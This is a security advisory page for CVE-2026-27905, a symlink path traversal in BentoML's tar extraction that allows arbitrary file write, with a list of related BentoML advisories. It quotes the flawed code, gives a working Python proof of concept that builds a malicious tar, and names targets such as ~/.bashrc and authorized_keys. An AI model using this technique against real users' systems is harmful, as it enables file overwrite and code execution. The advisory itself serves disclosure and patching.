BentoML Vulnerable to Arbitrary File Write via Symlink Path Traversal in Tar Extraction
HighCVE-2026-27905 · Published Mar 3, 2026 · updated Jul 13, 2026
Affected versions
| Package | Affected | Fixed in |
|---|---|---|
| bentoml PyPI | < 1.4.36 | 1.4.36 |
Details and references
# Arbitrary File Write via Symlink Path Traversal in Tar Extraction ## Summary The `safe_extract_tarfile()` function validates that each tar member's path is within the destination directory, but for symlink members it only validates the symlink's own path, **not the symlink's target**. An attacker can create a malicious bento/model tar file containing a symlink pointing outside the extraction directory, followed by a regular file that writes through the symlink, achieving arbitrary file write on the host filesystem. ## Affected Component - **File**: `src/bentoml/_internal/utils/filesystem.py:58-96` - **Callers**: `src/bentoml/_internal/cloud/bento.py:542`, `src/bentoml/_internal/cloud/model.py:504` - **Affected versions**: All versions with `safe_extract_tarfile()` ## Severity **CVSS 3.1: 8.1 (High)** `AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H` ## Vulnerability Details ### Vulnerable Code (filesystem.py:58-96) ```python def safe_extract_tarfile(tar, destination): os.makedirs(destination, exist_ok=True) for member in tar.getmembers(): fn = member.name path = os.path.abspath(os.path.join(destination, fn)) if not Path(path).is_relative_to(destination): # Line 64: INCOMPLETE continue # Only checks member path, NOT symlink target if member.issym(): tar._extract_member(member, path) # Line 75: Creates symlink with UNVALIDATED target else: fp = tar.extractfile(member) with open(path, "wb") as destfp: # Line 92: open() FOLLOWS symlinks shutil.copyfileobj(fp, destfp) ``` ### The Bug 1. Line 64: `Path(path).is_relative_to(destination)` checks the member's OWN path, not the symlink target 2. Line 75: `tar._extract_member()` creates symlink with unvalidated target (e.g., `/etc`) 3. Line 92: `open(path, "wb")` follows the symlink, writing OUTSIDE the destination `os.path.abspath()` does NOT resolve symlinks (only `.` and `..`). The path check passes because the string path appears within destination, but `open()` follows the symlink to the actual target. ## Proof of Concept ```python import io, os, shutil, tarfile, tempfile from pathlib import Path def create_malicious_tar(target_dir, target_file, payload): buf = io.BytesIO() with tarfile.open(fileobj=buf, mode='w:gz') as tar: sym = tarfile.TarInfo(name='escape') sym.type = tarfile.SYMTYPE sym.linkname = target_dir tar.addfile(sym) info = tarfile.TarInfo(name=f'escape/{target_file}') info.size = len(payload) tar.addfile(info, io.BytesIO(payload)) buf.seek(0) return buf with tempfile.TemporaryDirectory() as tmpdir: extract_dir = os.path.join(tmpdir, 'extract') target_dir = os.path.join(tmpdir, 'outside') os.makedirs(target_dir) mal_tar = create_malicious_tar(target_dir, 'pwned.txt', b'PWNED') tar = tarfile.open(fileobj=mal_tar, mode='r:gz') # Reproduce filesystem.py:58-96 os.makedirs(extract_dir, exist_ok=True) for member in tar.getmembers(): path = os.path.abspath(os.path.join(extract_dir, member.name)) if not Path(path).is_relative_to(extract_dir): continue if member.issym(): tar._extract_member(member, path) # Symlink target NOT checked else: fp = tar.extractfile(member) os.makedirs(os.path.dirname(path), exist_ok=True) if fp: with open(path, 'wb') as destfp: # Follows symlink! shutil.copyfileobj(fp, destfp) assert os.path.exists(os.path.join(target_dir, 'pwned.txt')) print(open(os.path.join(target_dir, 'pwned.txt')).read()) # PWNED ``` ## Impact ### 1. Arbitrary file overwrite via shared bentos BentoML users share pre-built bentos. A malicious bento can overwrite any writable file: `~/.bashrc`, `~/.ssh/authorized_keys`, crontabs, Python site-packages. ### 2. Remote code execution via file overwrite Overwriting `~/.bas
More BentoML advisories
All BentoML| Date | Advisory | Severity | Fixed in |
|---|---|---|---|
| Mar 26 | BentoML has Dockerfile Command Injection via system_packages in bentofile.yaml CVE-2026-33744High7.8fixed in 1.4.37 | High7.8 | 1.4.37 |
| Apr 3 | BentoML: Command Injection in cloud deployment setup script CVE-2026-35043High7.8fixed in 1.4.38 | High7.8 | 1.4.38 |
| Apr 3 | BentoML: SSTI via Unsandboxed Jinja2 in Dockerfile Generation CVE-2026-35044High8.8fixed in 1.4.38 | High8.8 | 1.4.38 |
| Jan 26 | BentoML has a Path Traversal via Bentofile Configuration CVE-2026-24123High7.4fixed in 1.4.34 | High7.4 | 1.4.34 |
| May 7 | BentoML has Information Disclosure in `bentoml build` via symlink traversal in the build context CVE-2026-40610Medium5.5fixed in 1.4.39 | Medium5.5 | 1.4.39 |
| May 11 | BentoML Dockerfile command injection via docker.base_image (sister of pending GHSA-w2pm-x38x-jp44 / CVE-2026-33744 / CVE-2026-35043) CVE-2026-44345High8.8fixed in 1.4.39 | High8.8 | 1.4.39 |